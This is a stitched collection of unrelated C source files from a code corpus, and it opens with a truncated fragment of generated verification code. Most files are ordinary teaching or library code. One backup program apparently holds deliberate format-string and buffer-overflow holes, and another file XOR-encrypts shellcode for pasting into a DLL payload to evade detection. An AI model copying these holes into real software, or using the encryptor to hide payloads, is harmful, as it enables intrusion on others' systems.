&& ((delta <= 0.0) || (_x_inc_max_prop && ((((((id0 == _x_id0) && (id1 == _x_id1)) && (id2 == _x_id2)) && (id3 == _x_id3)) && (id4 == _x_id4)) && (((((turn0 == _x_turn0) && (turn1 == _x_turn1)) && (turn2 == _x_turn2)) && (turn3 == _x_turn3)) && (turn4 == _x_turn4)))))) && (0.0 <= _x_delta)) && (_x_proposed0 <= _x_max_prop)) && (_x_proposed1 <= _x_max_prop)) && (_x_proposed2 <= _x_max_prop)) && (_x_proposed3 <= _x_max_prop)) && (_x_proposed4 <= _x_max_prop)) && (_x_proposed5 <= _x_max_prop)) && (_x_proposed6 <= _x_max_prop)) && (_x_proposed7 <= _x_max_prop)) && (_x_proposed8 <= _x_max_prop)) && (_x_proposed9 <= _x_max_prop)) && (_x_proposed10 <= _x_max_prop)) && (_x_proposed11 <= _x_max_prop)) && (_x_proposed12 <= _x_max_prop)) && (_x_proposed13 <= _x_max_prop)) && (_x_proposed14 <= _x_max_prop)) && (_x_proposed15 <= _x_max_prop)) && (_x_proposed16 <= _x_max_prop)) && (_x_proposed17 <= _x_max_prop)) && (_x_proposed18 <= _x_max_prop)) && (_x_proposed19 <= _x_max_prop)) && (_x_proposed20 <= _x_max_prop)) && (_x_proposed21 <= _x_max_prop)) && (_x_proposed22 <= _x_max_prop)) && (_x_proposed23 <= _x_max_prop)) && (_x_proposed24 <= _x_max_prop)) && (_x_proposed25 <= _x_max_prop)) && (_x_proposed26 <= _x_max_prop)) && (_x_proposed27 <= _x_max_prop)) && (_x_proposed28 <= _x_max_prop)) && (_x_proposed29 <= _x_max_prop)) && ((((((((((((((((((((((((((((((_x_proposed0 == _x_max_prop) || (_x_proposed1 == _x_max_prop)) || (_x_proposed2 == _x_max_prop)) || (_x_proposed3 == _x_max_prop)) || (_x_proposed4 == _x_max_prop)) || (_x_proposed5 == _x_max_prop)) || (_x_proposed6 == _x_max_prop)) || (_x_proposed7 == _x_max_prop)) || (_x_proposed8 == _x_max_prop)) || (_x_proposed9 == _x_max_prop)) || (_x_proposed10 == _x_max_prop)) || (_x_proposed11 == _x_max_prop)) || (_x_proposed12 == _x_max_prop)) || (_x_proposed13 == _x_max_prop)) || (_x_proposed14 == _x_max_prop)) || (_x_proposed15 == _x_max_prop)) || (_x_proposed16 == _x_max_prop)) || (_x_proposed17 == _x_max_prop)) || (_x_proposed18 == _x_max_prop)) || (_x_proposed19 == _x_max_prop)) || (_x_proposed20 == _x_max_prop)) || (_x_proposed21 == _x_max_prop)) || (_x_proposed22 == _x_max_prop)) || (_x_proposed23 == _x_max_prop)) || (_x_proposed24 == _x_max_prop)) || (_x_proposed25 == _x_max_prop)) || (_x_proposed26 == _x_max_prop)) || (_x_proposed27 == _x_max_prop)) || (_x_proposed28 == _x_max_prop)) || (_x_proposed29 == _x_max_prop))) && (_x_inc_max_prop == (max_prop <= _x_max_prop))))))))))))))))))))))))))))))))) && (((delta == _x__diverge_delta) || ( !(1.0 <= _diverge_delta))) && ((1.0 <= _diverge_delta) || ((delta + (_diverge_delta + (-1.0 * _x__diverge_delta))) == 0.0)))) && ((((((_EL_U_3890 == (_x__EL_U_3890 || ( !(_x__EL_U_3888 || (1.0 <= _x__diverge_delta))))) && ((_EL_U_3888 == (_x__EL_U_3888 || (1.0 <= _x__diverge_delta))) && ((_EL_U_3893 == (_x__EL_U_3893 || ( !_x_inc_max_prop))) && (_EL_U_3895 == (_x__EL_U_3895 || ( !(_x__EL_U_3893 || ( !_x_inc_max_prop)))))))) && (_x__J3915 == (( !(((_J3915 && _J3921) && _J3927) && _J3933)) && ((((_J3915 && _J3921) && _J3927) && _J3933) || ((( !inc_max_prop) || ( !(( !inc_max_prop) || _EL_U_3893))) || _J3915))))) && (_x__J3921 == (( !(((_J3915 && _J3921) && _J3927) && _J3933)) && ((((_J3915 && _J3921) && _J3927) && _J3933) || ((( !(( !inc_max_prop) || _EL_U_3893)) || ( !(_EL_U_3895 || ( !(( !inc_max_prop) || _EL_U_3893))))) || _J3921))))) && (_x__J3927 == (( !(((_J3915 && _J3921) && _J3927) && _J3933)) && ((((_J3915 && _J3921) && _J3927) && _J3933) || (((1.0 <= _diverge_delta) || ( !((1.0 <= _diverge_delta) || _EL_U_3888))) || _J3927))))) && (_x__J3933 == (( !(((_J3915 && _J3921) && _J3927) && _J3933)) && ((((_J3915 && _J3921) && _J3927) && _J3933) || ((( !((1.0 <= _diverge_delta) || _EL_U_3888)) || ( !(_EL_U_3890 || ( !((1.0 <= _diverge_delta) || _EL_U_3888))))) || _J3933)))))); _diverge_delta = _x__diverge_delta; delta = _x_delta; p6_l0 = _x_p6_l0; max_prop = _x_max_prop; proposed29 = _x_proposed29; p6_l1 = _x_p6_l1; proposed28 = _x_proposed28; p6_x = _x_p6_x; proposed27 = _x_proposed27; p26_l0 = _x_p26_l0; proposed26 = _x_proposed26; p26_l1 = _x_p26_l1; proposed25 = _x_proposed25; p6_saved_max = _x_p6_saved_max; p26_x = _x_p26_x; proposed24 = _x_proposed24; proposed23 = _x_proposed23; proposed22 = _x_proposed22; p26_saved_max = _x_p26_saved_max; proposed21 = _x_proposed21; proposed20 = _x_proposed20; proposed19 = _x_proposed19; proposed18 = _x_proposed18; proposed17 = _x_proposed17; p7_l0 = _x_p7_l0; proposed16 = _x_proposed16; p7_l1 = _x_p7_l1; proposed15 = _x_proposed15; p7_x = _x_p7_x; proposed14 = _x_proposed14; p27_l0 = _x_p27_l0; proposed13 = _x_proposed13; p27_l1 = _x_p27_l1; proposed12 = _x_proposed12; p7_saved_max = _x_p7_saved_max; p27_x = _x_p27_x; proposed11 = _x_proposed11; proposed10 = _x_proposed10; proposed9 = _x_proposed9; p27_saved_max = _x_p27_saved_max; proposed8 = _x_proposed8; proposed7 = _x_proposed7; proposed6 = _x_proposed6; proposed5 = _x_proposed5; p8_l0 = _x_p8_l0; proposed4 = _x_proposed4; p8_l1 = _x_p8_l1; proposed3 = _x_proposed3; proposed2 = _x_proposed2; p8_x = _x_p8_x; proposed1 = _x_proposed1; p28_l0 = _x_p28_l0; proposed0 = _x_proposed0; p28_l1 = _x_p28_l1; p8_saved_max = _x_p8_saved_max; p28_x = _x_p28_x; p28_saved_max = _x_p28_saved_max; p9_l0 = _x_p9_l0; p9_l1 = _x_p9_l1; p9_x = _x_p9_x; p29_l0 = _x_p29_l0; p29_l1 = _x_p29_l1; p9_saved_max = _x_p9_saved_max; p29_x = _x_p29_x; p29_saved_max = _x_p29_saved_max; p10_l0 = _x_p10_l0; p10_l1 = _x_p10_l1; p10_x = _x_p10_x; _J3933 = _x__J3933; p10_saved_max = _x_p10_saved_max; _J3927 = _x__J3927; _J3921 = _x__J3921; _J3915 = _x__J3915; _EL_U_3888 = _x__EL_U_3888; inc_max_prop = _x_inc_max_prop; id1 = _x_id1; id0 = _x_id0; _EL_U_3890 = _x__EL_U_3890; _EL_U_3893 = _x__EL_U_3893; p11_l0 = _x_p11_l0; id2 = _x_id2; p11_l1 = _x_p11_l1; id3 = _x_id3; _EL_U_3895 = _x__EL_U_3895; p11_x = _x_p11_x; id4 = _x_id4; p11_saved_max = _x_p11_saved_max; turn1 = _x_turn1; turn0 = _x_turn0; turn2 = _x_turn2; turn3 = _x_turn3; turn4 = _x_turn4; p12_l0 = _x_p12_l0; p12_l1 = _x_p12_l1; p12_x = _x_p12_x; p12_saved_max = _x_p12_saved_max; p13_l0 = _x_p13_l0; p13_l1 = _x_p13_l1; p13_x = _x_p13_x; p13_saved_max = _x_p13_saved_max; p14_l0 = _x_p14_l0; p14_l1 = _x_p14_l1; p14_x = _x_p14_x; p14_saved_max = _x_p14_saved_max; p15_l0 = _x_p15_l0; p15_l1 = _x_p15_l1; p15_x = _x_p15_x; p15_saved_max = _x_p15_saved_max; p16_l0 = _x_p16_l0; p16_l1 = _x_p16_l1; p16_x = _x_p16_x; p16_saved_max = _x_p16_saved_max; p17_l0 = _x_p17_l0; p17_l1 = _x_p17_l1; p17_x = _x_p17_x; p17_saved_max = _x_p17_saved_max; p18_l0 = _x_p18_l0; p18_l1 = _x_p18_l1; p18_x = _x_p18_x; p18_saved_max = _x_p18_saved_max; p19_l0 = _x_p19_l0; p19_l1 = _x_p19_l1; p19_x = _x_p19_x; p19_saved_max = _x_p19_saved_max; p0_l0 = _x_p0_l0; p0_l1 = _x_p0_l1; p0_x = _x_p0_x; p20_l0 = _x_p20_l0; p20_l1 = _x_p20_l1; p0_saved_max = _x_p0_saved_max; p20_x = _x_p20_x; p20_saved_max = _x_p20_saved_max; p1_l0 = _x_p1_l0; p1_l1 = _x_p1_l1; p1_x = _x_p1_x; p21_l0 = _x_p21_l0; p21_l1 = _x_p21_l1; p1_saved_max = _x_p1_saved_max; p21_x = _x_p21_x; p21_saved_max = _x_p21_saved_max; p2_l0 = _x_p2_l0; p2_l1 = _x_p2_l1; p2_x = _x_p2_x; p22_l0 = _x_p22_l0; p22_l1 = _x_p22_l1; p2_saved_max = _x_p2_saved_max; p22_x = _x_p22_x; p22_saved_max = _x_p22_saved_max; p3_l0 = _x_p3_l0; p3_l1 = _x_p3_l1; p3_x = _x_p3_x; p23_l0 = _x_p23_l0; p23_l1 = _x_p23_l1; p3_saved_max = _x_p3_saved_max; p23_x = _x_p23_x; p23_saved_max = _x_p23_saved_max; p4_l0 = _x_p4_l0; p4_l1 = _x_p4_l1; p4_x = _x_p4_x; p24_l0 = _x_p24_l0; p24_l1 = _x_p24_l1; p4_saved_max = _x_p4_saved_max; p24_x = _x_p24_x; p24_saved_max = _x_p24_saved_max; p5_l0 = _x_p5_l0; p5_l1 = _x_p5_l1; p5_x = _x_p5_x; p25_l0 = _x_p25_l0; p25_l1 = _x_p25_l1; p5_saved_max = _x_p5_saved_max; p25_x = _x_p25_x; p25_saved_max = _x_p25_saved_max; } }
the_stack_data/48037.c
#include <unistd.h> #include <fcntl.h> #include <stdlib.h> #include <errno.h> #include <signal.h> #include <time.h> #include <syslog.h> const char p_name[] = "I'm your daemon"; /*daemon's name*/ const char p_pid[] = "Pid: "; /*daemon's pid*/ const char p_sigcount[] = "SIGUSR1: "; /*count of SIGUSR1 calls*/ const char p_time[] = "Time: "; /*process running time*/ const char separator[] = "|"; volatile static sig_atomic_t fd = -1; /*"/tmp/file_daemon" fd*/ volatile static sig_atomic_t sigusr1_calls_amount = 0; volatile static sig_atomic_t start_time = 0; /*start time of the*/ /*process*/ /*converts positive int to string. returns len of the number*/ int itostr(char *str, int len, int num) { char *result = str; char tmp_str[len]; int i, j; for(i = 0; num && i < len-1; i++){ tmp_str[i] = num%10 + '0'; num /= 10; } for(j = 0, i--; i >= 0; j++, i--) result[j] = tmp_str[i]; result[j] = 0; if(!j){ /*put '0' to result if it is empty*/ result[j] = '0'; j = 1; } return j; } /*prints daemon info to /tmp/file_daemon*/ void print_info_to_file() { char sigusr_str[100]; char elapsed_str[1000000]; char pid[100]; int len; clock_t elapsed = time(NULL) - start_time; write(fd, p_name, sizeof(p_name)); /*print name*/ write(fd, separator, sizeof(separator)); write(fd, p_pid, sizeof(p_pid)); /*print pid*/ len = itostr(pid, 100, getpid()); write(fd, pid, sizeof(char)*len); write(fd, separator, sizeof(separator)); write(fd, p_sigcount, sizeof(p_sigcount)); /*print sigcount*/ len = itostr(sigusr_str, 100, sigusr1_calls_amount);/*amount*/ write(fd, sigusr_str, sizeof(char)*len); write(fd, separator, sizeof(separator)); write(fd, p_time, sizeof(p_time)); /*print process*/ len = itostr(elapsed_str, 1000000, elapsed); /*running time*/ write(fd, elapsed_str, sizeof(char)*len); write(fd, separator, sizeof(separator)); write(fd, "\n", sizeof(char)); } /*prints daemon info to the journal*/ void print_info_to_log() { clock_t elapsed = time(NULL) - start_time; syslog(LOG_INFO, "%s|%s%d|%s%d|%s%d\n", p_name, p_pid, getpid(), p_sigcount, sigusr1_calls_amount, p_time, (int)elapsed); } /*increases sigusr1_calls_amount and prints info to the file and journal*/ void sigusr1_handler(int s) { int save_errno = errno; signal(SIGUSR1, sigusr1_handler); sigusr1_calls_amount++; print_info_to_file(); print_info_to_log(); errno = save_errno; } /*prints info to the file and journal*/ void sigalrm_handler(int s) { int save_errno = errno; signal(SIGALRM, sigalrm_handler); print_info_to_file(); print_info_to_log(); errno = save_errno; } int main() { int pid; close(0); /*"daemonisation" of the process*/ close(1); close(2); open("/dev/null", O_RDONLY); open("/dev/null", O_WRONLY); open("/dev/null", O_WRONLY); chdir("/"); pid = fork(); if(pid > 0) exit(0); setsid(); pid = fork(); if(pid > 0) exit(0); fd = open("/tmp/file_daemon", O_WRONLY | O_CREAT | O_TRUNC, 0666); openlog("Yet another daemon", 0, LOG_USER); start_time = time(NULL); signal(SIGUSR1, sigusr1_handler); signal(SIGALRM, sigalrm_handler); while(1){ alarm(5); pause(); } close(fd); closelog(); return 0; }
the_stack_data/428799.c
#include <stdio.h> #include <string.h> #include <stdlib.h> #include <unistd.h> #include <fcntl.h> void log_wrapper(FILE *file, char *s, char *arg) { char buf[256]; strcpy(buf, s); snprintf(buf, strlen(arg), arg); buf[strcspn(buf, "\n")] = 0; fprintf(file, "LOG: %s\n", buf); } int main(int argc, char **argv) { if (argc != 2) printf("Usage: %s filename\n", argv[0]); FILE *log = 0; FILE *stream = 0; char dest[104]; int fd; char c; if (!(log = fopen("./backups/.log", "w"))) { printf("ERROR: Failed to open %s\n", "./backups/.log"); exit(1); } log_wrapper(log, "Starting back up: ", argv[1]); if (!(stream = fopen(argv[1], "r"))) { printf("ERROR: Failed to open %s\n", argv[1]); exit(1); } strcpy(dest, "./backups/"); strncat(dest, argv[1], strlen(argv[1])); if ((fd = open(dest, 0xc1, 0x1b0)) < 0) { printf("ERROR: Failed to open %s%s\n", "./backups/", argv[1]); exit(1); } while (c = fgetc(stream)) write(fd, &c, 1); log_wrapper(log, "Finished back up ", argv[1]); fclose(stream); close(fd); return 0; }
the_stack_data/747170.c
/* Logical instruction */ #include <stdint.h> void main(void) { volatile int32_t a = 0xa37d1cd9, b = 0xcbee3843, c; c = a | b; c = 0; //$ch.c return; //$bre }
the_stack_data/125139825.c
// name-Gyantosh kumar experiment - selection sort programming #include<stdio.h> int main() { int a[10],n,i,j,temp,pos,min; printf("enter the element of array:\n"); scanf("%d",&n); printf("enter the array:\n"); for(i=0;i<n;i++) scanf("%d",&a[i]); for(i=0;i<n-1;i++) { min=a[i]; pos=i; for(j=i+1;j<n;j++) { if(min>a[j]) { min=a[j]; pos=j; } } temp=a[i]; a[i]=a[pos]; a[pos]=temp; } for(i=0;i<n;i++) { printf("%d ",a[i]); } return 0; } /*enter the element of array: 7 enter the array: 231 314 458 234 233 567 789 231 233 234 314 458 567 789 Process returned 0 (0x0) execution time : 23.893 s Press any key to continue. */
the_stack_data/18888634.c
/******************************************************************* * sesslog - creates a session log suitable for use with the * * --wsesslog option of httperf from an NCSA Common Log Format * * or combined log format log. * * * * Usage: sesslog [<infile>] [<outfile>] * * * * Copyright (C) 2001 Julian T. J. Midgley <[email protected]> * * * * This program is free software; you can redistribute it and/or * * modify it under the terms of the GNU General Public License as * * published by the Free Software Foundation; either version 2 of * * the License, or (at your option) any later version. * * * * This program is distributed in the hope that it will be * * useful, but WITHOUT ANY WARRANTY; without even the implied * * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR * * PURPOSE. See the GNU General Public License for more details. * * * * You should have received a copy of the GNU General Public * * License along with this program; if not, write to the Free * * Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, * * MA 02111-1307 USA * * * * A copy of version 2 of the GNU General Public License may be * * found in the file "LICENCE" in the autobench source tarball. * * * *******************************************************************/ #define BUFF_SIZE 1024 #include <stdio.h> enum boolean { FALSE, TRUE }; int main(int argc, char *argv[]) { char *infile, *outfile; char method[BUFF_SIZE]; char *p; int bm, em, bu, eu; /* Flags to indicate beginning and end of the HTTP method and the URL */ FILE *ifs, *ofs; /* Streams for input and output */ char ch, pch; ifs = ofs = stderr; /* Purely to avoid compile time errors of the */ infile = outfile = ""; /* "'foo' might be used uninitialized" variety */ switch (argc) { case 1: ifs = stdin; ofs = stdout; break; case 2: infile = argv[1]; ofs = stdout; break; case 3: infile = argv[1]; outfile = argv[2]; break; default: fprintf(stderr, "Usage: cr_sesslog [<infile>] [<outfile>]\n"); return(-1); break; } if (ifs != stdin && ((ifs = fopen(infile,"r")) == NULL)) { perror(infile); return(-1); } if (ofs != stdout && ((ofs = fopen(outfile,"w")) == NULL)) { perror(outfile); return(-1); } bm = em = bu = eu = FALSE; pch = '*'; p = method; /***************************************************************************** * The following is essentially the equivalent of the following Perl snippet * * while (<IN>) { * * if (m/\"(\S+) (\S+)/) { * * print OUT "$2 method=$1\n"; * * } * * } * * I've implemented this in C rather then Perl purely because it is * * marginally faster. * *****************************************************************************/ while ((ch = fgetc(ifs)) != EOF) { bm = ( bm || pch == '"'); em = ( em || (bm && ch == ' ')); bu = ( bu || (em && pch == ' ')); eu = ( eu || (bu && ch == ' ')); if ( bm && !em ) { *p++ = ch; } if ( (bu && !eu) ) { fputc (ch, ofs); } pch = ch; if (ch == '\n') { *p = '\0'; fputs(" method=",ofs); fputs (method, ofs); bm = em = bu = eu = FALSE; fputc(ch, ofs); p = method; pch = '*'; } } fclose (ifs); fclose (ofs); return(0); }
the_stack_data/247017986.c
#include <pthread.h> #include <stdio.h> int i = 0; // Note the return type: void* void* incrementingThreadFunction(){ // TODO: increment i 1_000_000 times for(int dex = 0; dex < 1000000; dex++){ i++; } return NULL; } void* decrementingThreadFunction(){ // TODO: decrement i 1_000_000 times for(int dex = 0; dex < 1000000; dex++){ i--; } return NULL; } int main(){ // TODO: declare incrementingThread and decrementingThread (hint: google pthread_create) pthread_t incrementingThread; pthread_t decrementingThread; pthread_create(&incrementingThread, NULL, incrementingThreadFunction, NULL); pthread_create(&decrementingThread, NULL, decrementingThreadFunction, NULL); pthread_join(incrementingThread, NULL); pthread_join(decrementingThread, NULL); printf("The magic number is: %d\n", i); return 0; }
the_stack_data/20449747.c
#include <stdio.h> char name() { char name[21]; // 1 reserved for'\0' printf("Enter name(max 20 character):"); scanf("%20s", name); }; int main() { name(); }
the_stack_data/76700451.c
#include<stdio.h> int main (void) { int input = 0, minMarks , maxMarks; minMarks = 100; maxMarks = -100; printf("Enter the Marks : "); scanf("%d" , &input); while(input != -99) { if(input > 100 || input < 0) { printf("Invalid Input!!"); } else { if (input >= maxMarks) { maxMarks = input; } else if (input < minMarks) { minMarks = input; } } printf("Enter the Marks : "); scanf("%d" , &input); } printf("Maximum Marks : %d\n" , maxMarks); printf("Minimum Marks : %d\n" , minMarks); return 0; }
the_stack_data/151754.c
#include <stdio.h> /* Archivos de cabecera para subrutinas de E/S Input/OutPut */ #include <stdlib.h> /* Archivo de cabecer para subrutinas de utilidades */ struct biblioteca{ char sCodigo[10]; char sTitulo[50]; char sAutor[50]; }libro; //fin struct biblioteca int main(void){ //Inicio system("cls"); //Limpiar pantalla struct biblioteca libro3; //Ingresa los datos de registro del libro fflush(stdin); printf("\nIngresa el codigo del libro: "); fgets(libro3.sCodigo,10,stdin); //scanf("%d",&libro.iCodigo); fflush(stdin); printf("\nIngresa el t%ctulo del libro: ",161); fgets(libro3.sTitulo,50,stdin); //scanf("%s",libro.sTitulo); fflush(stdin); printf("\nIngresa el nombre del autor: "); fgets(libro3.sAutor,50,stdin); //scanf("%s",libro.sAutor); //Imprime el registro printf("\nRegistro: \n%s \n%s \n%s\n", libro3.sCodigo,libro3.sTitulo,libro3.sAutor); return 0; }//fin int main
the_stack_data/18887622.c
#include <stdio.h> #ifdef __linux__ #define IS_LINUX 1 #else #define IS_LINUX 0 #endif #ifdef _WIN32 #define IS_WINDOWS 1 #else #define IS_WINDOWS 0 #endif #ifdef __MICROBLAZE__ #define IS_MICROBLAZE 1 #else #define IS_MICROBLAZE 0 #endif int main() { printf("Is Linux? -> %d\n", IS_LINUX); printf("Is Windows? -> %d\n", IS_WINDOWS); printf("Is MicroBlaze? -> %d\n", IS_MICROBLAZE); }
the_stack_data/243894459.c
/* This was an ICE caused by the compiler-generated stack save/restore statements around s[b]. */ /* { dg-do compile} */ /* { dg-options "-O1 -fprofile-arcs" } */ int foo (int a, int b) { if (a) return 1; { int s [b]; return 0; } } /* { dg-final { cleanup-coverage-files } } */
the_stack_data/215769412.c
//二分法 求根 #include <stdio.h> #include <math.h> int main(void) { double fx(double x); double a = -10.0, b = 10, t; while (fabs(b - a) > 1e-5) { t = (a + b) / 2; if (fx(a) * fx(t) < 0) b = t; else a = t; } printf("%lf\n", t); return 0; } double fx(double x) { return 2 * x * x * x - 4 * x * x + 3 * x - 6; }
the_stack_data/247018990.c
// RUN: %clang_cc1 -triple thumbv7-windows -fms-compatibility -emit-llvm -o - %s \ // RUN: | FileCheck %s -check-prefix CHECK-MSVC // RUN: not %clang_cc1 -triple armv7-eabi -Werror -S -o /dev/null %s 2>&1 \ // RUN: | FileCheck %s -check-prefix CHECK-EABI void check__dmb(void) { __dmb(0); } // CHECK-MSVC: @llvm.arm.dmb(i32 0) // CHECK-EABI: error: implicit declaration of function '__dmb' void check__dsb(void) { __dsb(0); } // CHECK-MSVC: @llvm.arm.dsb(i32 0) // CHECK-EABI: error: implicit declaration of function '__dsb' void check__isb(void) { __isb(0); } // CHECK-MSVC: @llvm.arm.isb(i32 0) // CHECK-EABI: error: implicit declaration of function '__isb' __INT64_TYPE__ check__ldrexd(void) { __INT64_TYPE__ i64; return __ldrexd(&i64); } // CHECK-MSVC: @llvm.arm.ldrexd(i8* {{.*}}) // CHECK-EABI: error: implicit declaration of function '__ldrexd' unsigned int check_MoveFromCoprocessor(void) { return _MoveFromCoprocessor(0, 0, 0, 0, 0); } // CHECK-MSVC: @llvm.arm.mrc(i32 0, i32 0, i32 0, i32 0, i32 0) // CHECK-EABI: error: implicit declaration of function '_MoveFromCoprocessor' unsigned int check_MoveFromCoprocessor2(void) { return _MoveFromCoprocessor2(0, 0, 0, 0, 0); } // CHECK-MSVC: @llvm.arm.mrc2(i32 0, i32 0, i32 0, i32 0, i32 0) // CHECK-EABI: error: implicit declaration of function '_MoveFromCoprocessor2' void check_MoveToCoprocessor(unsigned int value) { _MoveToCoprocessor(value, 10, 7, 1, 0, 0); } // CHECK-MSVC: @llvm.arm.mcr(i32 10, i32 7, i32 %{{[^,]*}}, i32 1, i32 0, i32 0) // CHECK-EABI: error: implicit declaration of function '_MoveToCoprocessor' void check_MoveToCoprocessor2(unsigned int value) { _MoveToCoprocessor2(value, 10, 7, 1, 0, 0); } // CHECK-MSVC: @llvm.arm.mcr2(i32 10, i32 7, i32 %{{[^,]*}}, i32 1, i32 0, i32 0) // CHECK-EABI: error: implicit declaration of function '_MoveToCoprocessor2'
the_stack_data/211081577.c
void* f(void* arg) { print("thread 1\n"); return arg; } void main() { t_create(f, 0); print("thread 0\n"); t_join(1); }
the_stack_data/122014223.c
#include <stdio.h> #include <math.h> #define MAXLINE 1000 int getlin(char s[], int lim); void copy(char to[], char from[]); /* print longest input line */ int main(){ int len; int max; char line[MAXLINE]; char longest[MAXLINE]; max = 0; while((len = getlin(line, MAXLINE)) > 0) if( len > max){ max = len; copy(longest, line); } if (max > 0) printf("%s", longest); return 0; } int getlin(char s[], int lim){ int c, i; for (i = 0; i < lim -1 && (c=getchar()) != EOF && c != '\n';i++) s[i] = c; if (c == '\n') { s[i] = c; ++i; } s[i] = '\0'; return i; } void copy(char to[], char from[]){ int i = 0; while ((to[i] = from[i]) != '\0') ++i; }
the_stack_data/1116107.c
#include <stdio.h> #include <stdlib.h> #include <unistd.h> #define ONE_MEGABYTE (1024 * 1024) int main(int argc, char const *argv[]) { char *some_memory; int megabye = ONE_MEGABYTE; some_memory = (char *)malloc(megabye); if (some_memory != NULL) { sprintf(some_memory, "hello world\n"); printf("%s", some_memory); exit(EXIT_SUCCESS); } exit(EXIT_FAILURE); }
the_stack_data/80221.c
/* Copyright 1991, 1998 The Open Group Permission to use, copy, modify, distribute, and sell this software and its documentation for any purpose is hereby granted without fee, provided that the above copyright notice appear in all copies and that both that copyright notice and this permission notice appear in supporting documentation. The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE OPEN GROUP BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. Except as contained in this notice, the name of The Open Group shall not be used in advertising or otherwise to promote the sale, use or other dealings in this Software without prior written authorization from The Open Group. */ /* * Copyright 2000 by Bruno Haible * * Permission to use, copy, modify, distribute, and sell this software * and its documentation for any purpose is hereby granted without fee, * provided that the above copyright notice appear in all copies and * that both that copyright notice and this permission notice appear * in supporting documentation, and that the name of Bruno Haible not * be used in advertising or publicity pertaining to distribution of the * software without specific, written prior permission. Bruno Haible * makes no representations about the suitability of this software for * any purpose. It is provided "as is" without express or implied * warranty. * * Bruno Haible DISCLAIMS ALL WARRANTIES WITH REGARD TO THIS SOFTWARE, * INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS, IN * NO EVENT SHALL Bruno Haible BE LIABLE FOR ANY SPECIAL, INDIRECT OR * CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS * OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE * OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE * OR PERFORMANCE OF THIS SOFTWARE. */ /* $XFree86: xc/lib/X11/utf8WMProps.c,v 1.4 2006/01/09 14:58:44 dawes Exp $ */ #include <X11/Xlibint.h> #include <X11/Xutil.h> #include <X11/Xatom.h> #include <X11/Xlocale.h> void Xutf8SetWMProperties ( Display *dpy, Window w, _Xconst char *windowName, _Xconst char *iconName, char **argv, int argc, XSizeHints *sizeHints, XWMHints *wmHints, XClassHint *classHints) { XTextProperty wname, iname; XTextProperty *wprop = NULL; XTextProperty *iprop = NULL; if (windowName && Xutf8TextListToTextProperty(dpy, (char**)&windowName, 1, XStdICCTextStyle, &wname) >= Success) wprop = &wname; if (iconName && Xutf8TextListToTextProperty(dpy, (char**)&iconName, 1, XStdICCTextStyle, &iname) >= Success) iprop = &iname; XSetWMProperties(dpy, w, wprop, iprop, argv, argc, sizeHints, wmHints, classHints); if (wprop) Xfree((char *)wname.value); if (iprop) Xfree((char *)iname.value); /* Note: The WM_LOCALE_NAME property is set by XSetWMProperties. */ }
the_stack_data/100894.c
/* ************************************************************************** */ /* */ /* ::: :::::::: */ /* ft_memccpy.c :+: :+: :+: */ /* +:+ +:+ +:+ */ /* By: aulopez <[email protected]> +#+ +:+ +#+ */ /* +#+#+#+#+#+ +#+ */ /* Created: 2018/11/09 10:01:38 by aulopez #+# #+# */ /* Updated: 2021/10/03 20:46:53 by aulopez ### ########.fr */ /* */ /* ************************************************************************** */ #include <stdint.h> #include <string.h> void *ft_memccpy(void *s1, const void *s2, int c, size_t n) { unsigned char *cs1; unsigned char *cs2; cs1 = (unsigned char *)s1; cs2 = (unsigned char *)s2; while (n--) { if ((*cs1 = *cs2) == (unsigned char)c) return (cs1 + 1); ++cs1; ++cs2; } return (NULL); } /* static inline int align_address(unsigned char **cs1, unsigned char **cs2, const unsigned char c, size_t *n) { while ((uintptr_t)*cs1 & 0x7) { if ((**cs1 = **cs2) == c) return (1); ++(*cs1); ++(*cs2); --(*n); } return (0); } static inline void loopword(unsigned char **cs1, unsigned char **cs2, const unsigned char c, size_t *n) { uint64_t *lls1; uint64_t *lls2; uint64_t one_each_byte; uint64_t c_each_byte; uint64_t zero_mask; lls1 = (uint64_t *)*cs1; lls2 = (uint64_t *)*cs2; one_each_byte = 0x0101010101010101L; c_each_byte = c | (c << 8); c_each_byte |= c_each_byte << 16; c_each_byte |= c_each_byte << 32; while (*n >= 8) { zero_mask = *lls2 ^ c_each_byte; if (((zero_mask - one_each_byte) & ~zero_mask) & (one_each_byte << 7)) break ; *lls1++ = *lls2++; *n -= 8; } *cs1 = (unsigned char *)lls1; *cs2 = (unsigned char *)lls2; } void *ft_memccpy(void *s1, const void *s2, int c, size_t n) { unsigned char *cs1; unsigned char *cs2; cs1 = (unsigned char *)s1; cs2 = (unsigned char *)s2; if ((n >= 8) && (((uintptr_t)s1 & 0x7) == ((uintptr_t)s2 & 0x7))) { if (align_address(&cs1, &cs2, (unsigned char)c, &n)) return (cs1 + 1); loopword(&cs1, &cs2, (const unsigned char)c, &n); } while (n--) { if ((*cs1 = *cs2) == (unsigned char)c) return (cs1 + 1); ++cs1; ++cs2; } return (NULL); } */
the_stack_data/560976.c
#include <stdio.h> #include <stdlib.h> #include <unistd.h> // Crypt your shellcode with this C program before pasting it into the DLL's buf variable int main (int argc, char **argv) { unsigned char buf[] ="PLAIN_SHELLCODE_HERE"; char xor_key = '7'; int payload_length = (int) sizeof(buf); for (int i=0; i<payload_length; i++) { printf("\\x%02X", buf[i]^xor_key); } }
the_stack_data/115766589.c
